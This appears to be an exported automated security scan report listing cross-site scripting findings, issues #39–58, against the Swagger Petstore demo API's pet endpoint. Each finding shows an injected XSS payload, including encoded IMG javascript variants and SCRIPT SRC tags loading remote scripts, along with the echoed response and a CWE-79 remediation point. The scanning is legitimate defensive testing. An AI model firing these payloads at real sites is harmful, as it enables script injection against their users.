Request \$.name	{ "id":0,"category":{"id":0,"name":"string"},"name":"<BODY ONLOAD=alert('XSS')>","photoUrls":["string"],"tags":{"id":0,"name":"string"},"status":"available"}				
<b>Response</b>	<p><b>Content-type:</b> application/json</p> <p><b>Content length:</b> 176</p> <p><b>Full response:</b></p> <pre>{ "id":9216678377732943749,"category":{"id":0,"name":"string"},"name":"&lt;BODY ONLOAD=alert('XSS')&gt;","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}</pre>				
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request '<BODY ONLOAD=alert('XS... ' is exposed in response. Possibility for XSS script attack in: POST				
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.name</code> will not be echoed back in the response				
<b>CWE-ID</b>	CWE-79				
<b>Issue Number</b>	#39				

<b>Scan</b>	Cross Site Scripting				
<b>Severity</b>	ERROR				
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.name</td><td>{ "id":0,"category":{"id":0,"name":"string"},"name":"&lt;STYLE&gt;@import'http://soapui.org/xss.css';&lt;/STYLE&gt;","photoUrls":["string"],"tags":{"id":0,"name":"string"},"status":"available"}</td></tr> </table>	Name	Value	Request \$.name	{ "id":0,"category":{"id":0,"name":"string"},"name":"<STYLE>@import'http://soapui.org/xss.css';</STYLE>","photoUrls":["string"],"tags":{"id":0,"name":"string"},"status":"available"}
Name	Value				
Request \$.name	{ "id":0,"category":{"id":0,"name":"string"},"name":"<STYLE>@import'http://soapui.org/xss.css';</STYLE>","photoUrls":["string"],"tags":{"id":0,"name":"string"},"status":"available"}				
<b>Response</b>	<p><b>Content-type:</b> application/json</p> <p><b>Content length:</b> 200</p> <p><b>Full response:</b></p> <pre>{ "id":9216678377732943760,"category":{"id":0,"name":"string"},"name":"&lt;STYLE&gt;@import'http://soapui.org/xss.css';&lt;/STYLE&gt;","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}</pre>				
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request '<STYLE>@import'http://...' is exposed in response. Possibility for XSS script attack in: POST				
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.name</code> will not be echoed back in the response				
<b>CWE-ID</b>	CWE-79				
<b>Issue Number</b>	#40				

<b>Scan</b>	Cross Site Scripting				
<b>Severity</b>	ERROR				
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.name</td><td>{ "id":0,"category":{"id":0,"name":"string"},"name":"ï¿½scriptï¿½ï¿½alert('ï¿½XSSï¿½')ï¿½/scriptï¿½ï¿½","photoUrls":["string"],"tags":{"id":0,"name":"string"},"status":"available"}</td></tr> </table>	Name	Value	Request \$.name	{ "id":0,"category":{"id":0,"name":"string"},"name":"ï¿½scriptï¿½ï¿½alert('ï¿½XSSï¿½')ï¿½/scriptï¿½ï¿½","photoUrls":["string"],"tags":{"id":0,"name":"string"},"status":"available"}
Name	Value				
Request \$.name	{ "id":0,"category":{"id":0,"name":"string"},"name":"ï¿½scriptï¿½ï¿½alert('ï¿½XSSï¿½')ï¿½/scriptï¿½ï¿½","photoUrls":["string"],"tags":{"id":0,"name":"string"},"status":"available"}				

<b>Response</b>	<b>Content-type:</b> application/json <b>Content length:</b> 191 <b>Full response:</b> <pre>{ "id":9216678377732943770,"category":{"id":0,"name":"string"},"name":"i% %scripti%alert(i%XSSi%)i%/scripti%", "photoUrls":["string"],"tags":[{" id":0,"name":"string"}],"status":"available"}</pre>
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request 'i%scripti%alert(i%X...' is exposed in response. Possibility for XSS script attack in: POST
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.name</code> will not be echoed back in the response
<b>CWE-ID</b>	CWE-79
<b>Issue Number</b>	#41

<b>Scan</b>	Cross Site Scripting				
<b>Severity</b>	ERROR				
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.name</td><td>{ "id":0,"category":{"id":0,"name":"string"},"name":"&lt;!--[if gte IE 4]&gt;&lt;SCRIPT&gt;alert('XSS');&lt;/SCRIPT&gt;&lt;![endif]--&gt;", "photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}</td></tr> </table>	Name	Value	Request \$.name	{ "id":0,"category":{"id":0,"name":"string"},"name":"<!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]-->", "photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}
Name	Value				
Request \$.name	{ "id":0,"category":{"id":0,"name":"string"},"name":"<!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]-->", "photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}				
<b>Response</b>	<b>Content-type:</b> application/json <b>Content length:</b> 210 <b>Full response:</b> <pre>{ "id":9216678377732943792,"category":{"id":0,"name":"string"},"name":"&lt;!--[if gte IE 4]&gt;&lt;SCRIPT&gt;alert('XSS');&lt;/SCRIPT&gt;&lt;![endif]--&gt;", "photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}</pre>				
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request '<!--[if gte IE 4]><SCR...' is exposed in response. Possibility for XSS script attack in: POST				
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.name</code> will not be echoed back in the response				
<b>CWE-ID</b>	CWE-79				
<b>Issue Number</b>	#42				

<b>Scan</b>	Cross Site Scripting				
<b>Severity</b>	ERROR				
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.name</td><td>{ "id":0,"category":{"id":0,"name":"string"},"name":"&lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&gt;&lt;param name=url value=javascript:alert('XSS')&gt;&lt;/OBJECT&gt;", "photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}</td></tr> </table>	Name	Value	Request \$.name	{ "id":0,"category":{"id":0,"name":"string"},"name":"<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>", "photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}
Name	Value				
Request \$.name	{ "id":0,"category":{"id":0,"name":"string"},"name":"<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>", "photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}				
<b>Response</b>	<b>Content-type:</b> application/json <b>Content length:</b> 264 <b>Full response:</b> <pre>{ "id":9216678377732943795,"category":{"id":0,"name":"string"},"name":"&lt;</pre>				

	OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>", "photoUrls": [ "string" ], "tags": [ { "id": 0, "name": "string" } ], "status": "available" }
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request '<OBJECT classid=clsid:... ' is exposed in response. Possibility for XSS script attack in: POST
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.name</code> will not be echoed back in the response
<b>CWE-ID</b>	CWE-79
<b>Issue Number</b>	#43

<b>Scan</b>	Cross Site Scripting				
<b>Severity</b>	ERROR				
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.name</td><td>{ "id": 0, "category": { "id": 0, "name": "string" }, "name": "Redirect 302 / a.jpg http://soapui.org/admin.asp&amp;deleteuser", "photoUrls": [ "string" ], "tags": [ { "id": 0, "name": "string" } ], "status": "available" }</td></tr> </table>	Name	Value	Request \$.name	{ "id": 0, "category": { "id": 0, "name": "string" }, "name": "Redirect 302 / a.jpg http://soapui.org/admin.asp&deleteuser", "photoUrls": [ "string" ], "tags": [ { "id": 0, "name": "string" } ], "status": "available" }
Name	Value				
Request \$.name	{ "id": 0, "category": { "id": 0, "name": "string" }, "name": "Redirect 302 / a.jpg http://soapui.org/admin.asp&deleteuser", "photoUrls": [ "string" ], "tags": [ { "id": 0, "name": "string" } ], "status": "available" }				
<b>Response</b>	<b>Content-type:</b> application/json <b>Content length:</b> 208 <b>Full response:</b> <pre>{ "id": 9216678377732943805, "category": { "id": 0, "name": "string" }, "name": "Redirect 302 /a.jpg http://soapui.org/admin.asp&amp;deleteuser", "photoUrls": [ "string" ], "tags": [ { "id": 0, "name": "string" } ], "status": "available" }</pre>				
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request 'Redirect 302 /a.jpg ht...' is exposed in response. Possibility for XSS script attack in: POST				
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.name</code> will not be echoed back in the response				
<b>CWE-ID</b>	CWE-79				
<b>Issue Number</b>	#44				

<b>Scan</b>	Cross Site Scripting				
<b>Severity</b>	ERROR				
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.photoUrls[0]</td><td>{ "id": 0, "category": { "id": 0, "name": "string" }, "name": "doggie", "photoUrls": [ "&lt;PLAINTEXT&gt;" ], "tags": [ { "id": 0, "name": "string" } ], "status": "available" }</td></tr> </table>	Name	Value	Request \$.photoUrls[0]	{ "id": 0, "category": { "id": 0, "name": "string" }, "name": "doggie", "photoUrls": [ "<PLAINTEXT>" ], "tags": [ { "id": 0, "name": "string" } ], "status": "available" }
Name	Value				
Request \$.photoUrls[0]	{ "id": 0, "category": { "id": 0, "name": "string" }, "name": "doggie", "photoUrls": [ "<PLAINTEXT>" ], "tags": [ { "id": 0, "name": "string" } ], "status": "available" }				
<b>Response</b>	<b>Content-type:</b> application/json <b>Content length:</b> 161 <b>Full response:</b> <pre>{ "id": 9216678377732943815, "category": { "id": 0, "name": "string" }, "name": "doggie", "photoUrls": [ "&lt;PLAINTEXT&gt;" ], "tags": [ { "id": 0, "name": "string" } ], "status": "available" }</pre>				
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request '<PLAINTEXT>' is exposed in response. Possibility for XSS script attack in: POST				
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.photoUrls[0]</code>				



**Scan** Cross Site Scripting

**Severity** ERROR

**Endpoint** https://petstore.swagger.io/v2/pet

**Request** POST https://petstore.swagger.io/v2/pet HTTP/1.1

**Test Step** POST

**Modified Parameters**

Name	Value
Request \$.photoUrls[0]	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["<IMG SRC=JaVaScRiPt:alert('XSS')>"],"tags":[{"id":0,"name":"string"},"status":"available"}

**Response**

**Content-type:** application/json

**Content length:** 183

**Full response:**

```
{"id":9216678377732943821,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["<IMG SRC=JaVaScRiPt:alert('XSS')>"],"tags":[{"id":0,"name":"string"},"status":"available"}
```

**Alerts**

- Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=javascript:al...' is exposed in response. Possibility for XSS script attack in: POST
- Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=JaVaScRiPt:al...' is exposed in response. Possibility for XSS script attack in: POST

**Action Points** You should ensure that HTML tags passed into the parameter Request \$.photoUrls[0] will not be echoed back in the response

**CWE-ID** CWE-79

**Issue Number**

#48

**Scan** Cross Site Scripting

**Severity** ERROR

**Endpoint** https://petstore.swagger.io/v2/pet

**Request** POST https://petstore.swagger.io/v2/pet HTTP/1.1

**Test Step** POST

**Modified Parameters**

Name	Value
Request \$.photoUrls[0]	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["<IMG SRC=javascript:alert(&quot;XSS&quot;)>"],"tags":[{"id":0,"name":"string"},"status":"available"}

**Response**

**Content-type:** application/json

**Content length:** 193

**Full response:**

```
{"id":9216678377732943822,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["<IMG SRC=javascript:alert(&quot;XSS&quot;)>"],"tags":[{"id":0,"name":"string"},"status":"available"}
```

**Alerts**

Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=javascript:al...' is exposed in response. Possibility for XSS script attack in: POST

**Action Points** You should ensure that HTML tags passed into the parameter Request \$.photoUrls[0] will not be echoed back in the response

**CWE-ID** CWE-79

**Issue Number**

#49

**Scan** Cross Site Scripting

<b>Severity</b>	<b>ERROR</b>	
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet	
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1	
<b>Test Step</b>	POST	
<b>Modified Parameters</b>	<b>Name</b>	<b>Value</b>
	Request \$.photoUrls[0]	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>"],"tags":[{"id":0,"name":"string"},"status":"available"]}
<b>Response</b>	<b>Content-type:</b> application/json <b>Content length:</b> 207 <b>Full response:</b> <pre>{ "id":9216678377732943825,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["&lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&gt;"],"tags":[{"id":0,"name":"string"},"status":"available"]}</pre>	
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=javascript:al...' is exposed in response. Possibility for XSS script attack in: POST	
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter Request \$.photoUrls[0] will not be echoed back in the response	
<b>CWE-ID</b>	CWE-79	
<b>Issue Number</b>	#50	

<b>Scan</b>	Cross Site Scripting	
<b>Severity</b>	<b>ERROR</b>	
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet	
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1	
<b>Test Step</b>	POST	
<b>Modified Parameters</b>	<b>Name</b>	<b>Value</b>
	Request \$.photoUrls[0]	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>"],"tags":[{"id":0,"name":"string"},"status":"available"]}
<b>Response</b>	<b>Content-type:</b> application/json <b>Content length:</b> 286 <b>Full response:</b> <pre>{ "id":9216678377732943826,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["&lt;IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;&gt;"],"tags":[{"id":0,"name":"string"},"status":"available"]}</pre>	
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=&#106;&#97;&#... ' is exposed in response. Possibility for XSS script attack in: POST	
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter Request \$.photoUrls[0] will not be echoed back in the response	
<b>CWE-ID</b>	CWE-79	
<b>Issue Number</b>	#51	

<b>Scan</b>	Cross Site Scripting	
<b>Severity</b>	<b>ERROR</b>	
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet	
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1	



Test Step	POST				
Modified Parameters	<table><tr><th>Name</th><th>Value</th></tr><tr><td>Request \$.photoUrls[0]</td><td>{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["&lt;IMG SRC=&amp;#0000106&amp;#0000097&amp;#0000118&amp;#0000097&amp;#0000115&amp;#0000099&amp;#0000114&amp;#0000105&amp;#0000112&amp;#0000116&amp;#0000058&amp;#0000097&amp;#0000108&amp;#0000101&amp;#0000114&amp;#0000116&amp;#0000040&amp;#0000039&amp;#0000088&amp;#0000083&amp;#0000083&amp;#0000039&amp;#0000041&gt;"],"tags":[{"id":0,"name":"string"},"status":"available"]}</td></tr></table>	Name	Value	Request \$.photoUrls[0]	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>"],"tags":[{"id":0,"name":"string"},"status":"available"]}
Name	Value				
Request \$.photoUrls[0]	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>"],"tags":[{"id":0,"name":"string"},"status":"available"]}				
Response	<p><b>Content-type:</b> application/json <b>Content length:</b> 367 <b>Full response:</b></p> <pre>{"id":9216678377732943827,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["&lt;IMG SRC=&amp;#0000106&amp;#0000097&amp;#0000118&amp;#0000097&amp;#0000115&amp;#0000099&amp;#0000114&amp;#0000105&amp;#0000112&amp;#0000116&amp;#0000058&amp;#0000097&amp;#0000108&amp;#0000101&amp;#0000114&amp;#0000116&amp;#0000040&amp;#0000039&amp;#0000088&amp;#0000083&amp;#0000039&amp;#0000041&gt;"],"tags":[{"id":0,"name":"string"},"status":"available"]}</pre>				
Alerts	Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=&#0000106&#00...' is exposed in response. Possibility for XSS script attack in: POST				
Action Points	You should ensure that HTML tags passed into the parameter Request \$.photoUrls[0] will not be echoed back in the response				
CWE-ID	CWE-79				
Issue Number	#52				

Scan	Cross Site Scripting				
Severity	ERROR				
Endpoint	https://petstore.swagger.io/v2/pet				
Request	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
Test Step	POST				
Modified Parameters	<table><tr><th>Name</th><th>Value</th></tr><tr><td>Request \$.photoUrls[0]</td><td>{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["&lt;IMG SRC=&amp;#x6A&amp;#x61&amp;#x76&amp;#x61&amp;#x73&amp;#x63&amp;#x72&amp;#x69&amp;#x70&amp;#x74&amp;#x3A&amp;#x61&amp;#x6C&amp;#x65&amp;#x72&amp;#x74&amp;#x28&amp;#x27&amp;#x58&amp;#x53&amp;#x53&amp;#x27&amp;#x29&gt;"],"tags":[{"id":0,"name":"string"},"status":"available"]}</td></tr></table>	Name	Value	Request \$.photoUrls[0]	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>"],"tags":[{"id":0,"name":"string"},"status":"available"]}
Name	Value				
Request \$.photoUrls[0]	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>"],"tags":[{"id":0,"name":"string"},"status":"available"]}				
Response	<p><b>Content-type:</b> application/json <b>Content length:</b> 275 <b>Full response:</b></p> <pre>{"id":9216678377732943828,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["&lt;IMG SRC=&amp;#x6A&amp;#x61&amp;#x76&amp;#x61&amp;#x73&amp;#x63&amp;#x72&amp;#x69&amp;#x70&amp;#x74&amp;#x3A&amp;#x61&amp;#x6C&amp;#x65&amp;#x72&amp;#x74&amp;#x28&amp;#x27&amp;#x58&amp;#x53&amp;#x53&amp;#x27&amp;#x29&gt;"],"tags":[{"id":0,"name":"string"},"status":"available"]}</pre>				
Alerts	Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=&#x6A&#x61&#x...' is exposed in response. Possibility for XSS script attack in: POST				
Action Points	You should ensure that HTML tags passed into the parameter Request \$.photoUrls[0] will not be echoed back in the response				
CWE-ID	CWE-79				
Issue Number	#53				

Scan	Cross Site Scripting
Severity	ERROR
Endpoint	https://petstore.swagger.io/v2/pet

<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1	
<b>Test Step</b>	POST	
<b>Modified Parameters</b>	<b>Name</b>	<b>Value</b>
	Request \$.photoUrls[0]	{ "id":0,"category":{"id":0,"name":"string"},"name":"doggie", "photoUrls":["<SCRIPT SRC=http://soapui.org/xss.js?<B>"],"tags":{"id":0,"name":"string"},"status":"available"}
<b>Response</b>	<b>Content-type:</b> application/json <b>Content length:</b> 190 <b>Full response:</b> <pre>{ "id":9216678377732943840,"category":{"id":0,"name":"string"},"name":"doggie", "photoUrls":["&lt;SCRIPT SRC=http://soapui.org/xss.js?&lt;B&gt;"],"tags":{"id":0,"name":"string"},"status":"available"}</pre>	
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request '<SCRIPT SRC=http://soa...' is exposed in response. Possibility for XSS script attack in: POST	
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter Request \$.photoUrls[0] will not be echoed back in the response	
<b>CWE-ID</b>	CWE-79	
<b>Issue Number</b>	#54	

<b>Scan</b>	Cross Site Scripting	
<b>Severity</b>	ERROR	
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet	
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1	
<b>Test Step</b>	POST	
<b>Modified Parameters</b>	<b>Name</b>	<b>Value</b>
	Request \$.photoUrls[0]	{ "id":0,"category":{"id":0,"name":"string"},"name":"doggie", "photoUrls":["<SCRIPT SRC=//ha.ckers.org/.j>"],"tags":{"id":0,"name":"string"},"status":"available"}
<b>Response</b>	<b>Content-type:</b> application/json <b>Content length:</b> 180 <b>Full response:</b> <pre>{ "id":9216678377732943841,"category":{"id":0,"name":"string"},"name":"doggie", "photoUrls":["&lt;SCRIPT SRC=//ha.ckers.org/.j&gt;"],"tags":{"id":0,"name":"string"},"status":"available"}</pre>	
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request '<SCRIPT SRC=//ha.ckers...' is exposed in response. Possibility for XSS script attack in: POST	
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter Request \$.photoUrls[0] will not be echoed back in the response	
<b>CWE-ID</b>	CWE-79	
<b>Issue Number</b>	#55	

<b>Scan</b>	Cross Site Scripting	
<b>Severity</b>	ERROR	
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet	
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1	
<b>Test Step</b>	POST	
<b>Modified Parameters</b>	<b>Name</b>	<b>Value</b>
	Request \$.photoUrls[0]	{ "id":0,"category":{"id":0,"name":"string"},"name":"doggie", "photoUrls":["<iframe src=http://soapui.org/scriptlet.html <"],"tags":{"id":0,"name":"string"},"status":"available"}

<b>Response</b>	<b>Content-type:</b> application/json <b>Content length:</b> 196 <b>Full response:</b> <pre>{ "id": 9216678377732943843, "category": { "id": 0, "name": "string" }, "name": "doggie", "photoUrls": [ "&lt;iframe src=http://soapui.org/scriptlet.html &lt;" ], "tags": [ { "id": 0, "name": "string" } ], "status": "available" }</pre>
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request '<iframe src=http://soa...' is exposed in response. Possibility for XSS script attack in: POST
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.photoUrls[0]</code> will not be echoed back in the response
<b>CWE-ID</b>	CWE-79
<b>Issue Number</b>	#56

<b>Scan</b>	Cross Site Scripting				
<b>Severity</b>	ERROR				
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.photoUrls[0]</td><td><pre>{ "id": 0, "category": { "id": 0, "name": "string" }, "name": "doggie", "photoUrls": [ "&lt;SCRIPT&gt;a=/XSS/alert(a.source)&lt;/SCRIPT&gt;" ], "tags": [ { "id": 0, "name": "string" } ], "status": "available" }</pre></td></tr> </table>	Name	Value	Request \$.photoUrls[0]	<pre>{ "id": 0, "category": { "id": 0, "name": "string" }, "name": "doggie", "photoUrls": [ "&lt;SCRIPT&gt;a=/XSS/alert(a.source)&lt;/SCRIPT&gt;" ], "tags": [ { "id": 0, "name": "string" } ], "status": "available" }</pre>
Name	Value				
Request \$.photoUrls[0]	<pre>{ "id": 0, "category": { "id": 0, "name": "string" }, "name": "doggie", "photoUrls": [ "&lt;SCRIPT&gt;a=/XSS/alert(a.source)&lt;/SCRIPT&gt;" ], "tags": [ { "id": 0, "name": "string" } ], "status": "available" }</pre>				
<b>Response</b>	<b>Content-type:</b> application/json <b>Content length:</b> 189 <b>Full response:</b> <pre>{ "id": 9216678377732943844, "category": { "id": 0, "name": "string" }, "name": "doggie", "photoUrls": [ "&lt;SCRIPT&gt;a=/XSS/alert(a.source)&lt;/SCRIPT&gt;" ], "tags": [ { "id": 0, "name": "string" } ], "status": "available" }</pre>				
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request '<SCRIPT>a=/XSS/alert(a...' is exposed in response. Possibility for XSS script attack in: POST				
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.photoUrls[0]</code> will not be echoed back in the response				
<b>CWE-ID</b>	CWE-79				
<b>Issue Number</b>	#57				

<b>Scan</b>	Cross Site Scripting				
<b>Severity</b>	ERROR				
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.photoUrls[0]</td><td><pre>{ "id": 0, "category": { "id": 0, "name": "string" }, "name": "doggie", "photoUrls": [ "\"\\\";alert('XSS');//\"", "tags": [ { "id": 0, "name": "string" } ], "status": "available" }</pre></td></tr> </table>	Name	Value	Request \$.photoUrls[0]	<pre>{ "id": 0, "category": { "id": 0, "name": "string" }, "name": "doggie", "photoUrls": [ "\"\\\";alert('XSS');//\"", "tags": [ { "id": 0, "name": "string" } ], "status": "available" }</pre>
Name	Value				
Request \$.photoUrls[0]	<pre>{ "id": 0, "category": { "id": 0, "name": "string" }, "name": "doggie", "photoUrls": [ "\"\\\";alert('XSS');//\"", "tags": [ { "id": 0, "name": "string" } ], "status": "available" }</pre>				
<b>Response</b>	<b>Content-type:</b> application/json <b>Content length:</b> 170 <b>Full response:</b> <pre>{ "id": 9216678377732943845, "category": { "id": 0, "name": "string" }, "name": "doggie", "photoUrls": [ "\"\\\";alert('XSS');//\"", "tags": [ { "id": 0, "name": "string" } ], "status": "available" }</pre>				

<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request \"';alert('XSS');//\" is exposed in response. Possibility for XSS script attack in: POST
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.photoUrls[0]</code> will not be echoed back in the response
<b>CWE-ID</b>	CWE-79
<b>Issue Number</b>	#58

<b>Scan</b>	Cross Site Scripting				
<b>Severity</b>	ERROR				
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.photoUrls[0]</td><td>{\"id\":0,\"category\":{\"id\":0,\"name\":\"string\"},\"name\":\"doggie\", \"photoUrls\":[\"&lt;BODY ONLOAD=alert('XSS')&gt;\"],\"tags\":[{\"id\":0,\"name\":\"string\"}],\"status\":\"available\"}</td></tr> </table>	Name	Value	Request \$.photoUrls[0]	{\"id\":0,\"category\":{\"id\":0,\"name\":\"string\"},\"name\":\"doggie\", \"photoUrls\":[\"<BODY ONLOAD=alert('XSS')>\"],\"tags\":[{\"id\":0,\"name\":\"string\"}],\"status\":\"available\"}
Name	Value				
Request \$.photoUrls[0]	{\"id\":0,\"category\":{\"id\":0,\"name\":\"string\"},\"name\":\"doggie\", \"photoUrls\":[\"<BODY ONLOAD=alert('XSS')>\"],\"tags\":[{\"id\":0,\"name\":\"string\"}],\"status\":\"available\"}				
